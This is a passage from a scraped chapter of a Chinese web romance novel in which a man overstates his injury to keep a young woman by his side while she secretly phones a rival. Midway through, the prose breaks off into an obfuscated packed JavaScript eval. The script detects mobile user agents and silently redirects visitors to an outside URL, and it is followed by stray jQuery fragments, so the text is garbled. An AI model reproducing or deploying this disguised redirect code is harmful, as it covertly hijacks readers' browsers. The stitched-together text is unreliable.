“可是万一真伤着脊柱了……”
“倒也没那么严重,真伤着了,我还能站起来吗?”
傅暨臣慢慢躺下。
想他参军那三年,整天摸爬滚打,身上青一块紫一块的,新伤叠旧伤,没有一天是好的。也学过急救。所以他这点伤伤到什么程度了他心里还是有数的。
并没祸及脊柱和内脏,卧床养上一段时间也就好了。
梁颂薇坐在他床边,一脸愁容,“我去给你倒杯热水吧。”
“别走。”傅暨臣一把拽住她,“我不渴。”
梁颂薇无奈,只好坐回来任由他握着手。
“你在想什么?”傅暨臣问她。
“我……我没想什么。”梁颂薇眼神闪躲,“我明天请假吧,照顾你。”
“不用,别耽误你功课,我自己一个人也可以的,我又不是小孩子了。”
他越是通情达理,越是叫梁颂薇过意不去。
等傅暨臣的私人医生陈易过来,傅暨臣便对梁颂薇说道:“给陈医生拿瓶冰可乐吧,陈医生就好这一口。”
梁颂薇好奇,“医生不是都很注重养生的吗?竟然也喝冰可乐。”
陈医生三十来岁,戴着眼镜,听了她的话笑道:“我首先是个人。”
梁颂薇出去后,傅暨臣立刻叮嘱陈易,“等会儿她进来,你就说陪护得用可靠的人,一定要小心,避免二次伤害。伤情不用往严重里说,但陪护这块你得强调是重中之重。”
陈医生听了他的明示哪有不明白的,开玩笑道:“我冒昧问一句,傅总这伤不会是故意受的吧?为了博得美人的同情,傅总也有今天。”
傅暨臣被他拆穿,一脸不悦,“有些事情心里知道就行,不用说出来卖弄聪明,有没有情商?”
陈易低声闷笑,仔细检查了他腰腹部的伤情,确认当真没有大问题之后,对刚进来的梁颂薇说道:“傅总的伤,虽然没有伤及要害,但是情况也不容乐观,腹部皮下有大面积淤血,是外力撞击下毛细血管破裂造成的。而后背脊柱遭受大力冲击,筋脉有些微错位,一定要卧床静养。陪护的人要多加小心,绝对不能对伤患造成二次伤害,否则后果不堪设想。”
梁颂薇听得眉尖紧锁,“这么严重,不用去医院吗?”她说着看向靠在床头的傅暨臣,“我觉得还是要做个检查才能放心。”
陈易笑道:“梁小姐是对我的医术不信任吗?”
“陈医生多心了。”傅暨臣给他解释,“薇薇只是太担心我了。”
陈易了然地点点头,“原来如此,恭喜傅总觅得良人。”
傅暨臣笑笑,“婚礼的时候请你坐第一桌。”
梁颂薇赧颜,瞪傅暨臣,“怎么说到这上头去的?”
傅暨臣适可而止见好就收,没有继续卖乖,由着陈易帮他挂了药水。
等两瓶药水挂完,陈易又给梁颂薇嘱咐了些注意事项,这才离开。
这一折腾,已经到半夜了,梁颂薇困乏的不得了,就趴在傅暨臣床边打算凑合凑合,“你睡吧,有事叫我。”
“上来睡。”傅暨臣拍了拍身边的位置。
“不用了,我怕碰着你,影响你恢复。”
“薇薇,你就非要跟我划清界限吗?”傅暨臣的眼神中满是悲痛,“你知不知道这几天我是怎么过的?你不在,我整夜整夜睡不着,状态差的,白天里什么都做不了。薇薇,咱们往后再也不吵架了行不行?你不要离家出走,你走了,这些房子都失去了意义。”
梁颂薇被他突然而来的深情剖白打了个措手不及,“暨臣哥,”她摸了摸他额头,温度正常,“你说这些话,太奇怪了。别再东想西想的了,早点休息,明天起来我给你冷敷。”
“不行,你不躺在我身边,我睡不着。”
梁颂薇:“……”
行吧,反正这张床有两米宽,她睡在最边上,两人压根挨不着。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15402672|168728||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
她去侧卧取了她的薄毯子过来,上床睡觉。
很快就要天亮了,她要抓紧时间眯一会儿。
关了灯,她却毫无睡意,一直留神听着傅暨臣的动静,直到他呼吸均匀,平稳,应该是睡着了之后,梁颂薇这才蹑手蹑脚地起来,带上手机出去了。
黑暗中,傅暨臣霍地睁开眼,眼神清明,冷漠。
梁颂薇走出主卧回到自己房间,字斟句酌地编辑了一条消息给曾衍章发过去:
衍章哥,我想跟你解释一下,傅阿姨不是我带过去的,我没防备她跟踪我,对不起。
曾衍章秒回:没关系,我知道不是你。
梁颂薇:!!!你还没睡吗?
曾衍章:怎么睡得着?
梁颂薇:头疼又犯了吗?
曾衍章却没再回复。
等了一会儿,梁颂薇着急,直接将电话拨了过去,她压低声音,“衍章哥,你还好吗?”
曾衍章淡淡“嗯”了一声,又问,“你在哪儿?”
梁颂薇撒谎,“医院。”
“他怎么样?”
“医生说没有大碍,只是陪护要仔细。”
“所以,你亲力亲为?”
“…………是的。”
曾衍章揉了揉额角,傅暨臣还真是有心计,都怪自己大意轻敌了,这才中了他的圈套。
“薇薇,人是我打伤的,不能连累你辛苦。你告诉我你们在哪个医院,我过去照顾他,给他请最好的护工。”
“…………”梁颂薇不敢想象曾衍章来照顾傅暨臣的场面,“算了吧,我怕你俩一言不合又吵起来打起来。衍章哥?”
“你说,我在听。”
“你问问小石,医生都给你开的些什么药,你买上来按时服用好不好?”
“好,那你呢?”
“我什么?”
“你告诉我,你欠了傅暨臣多少钱,我帮你还。”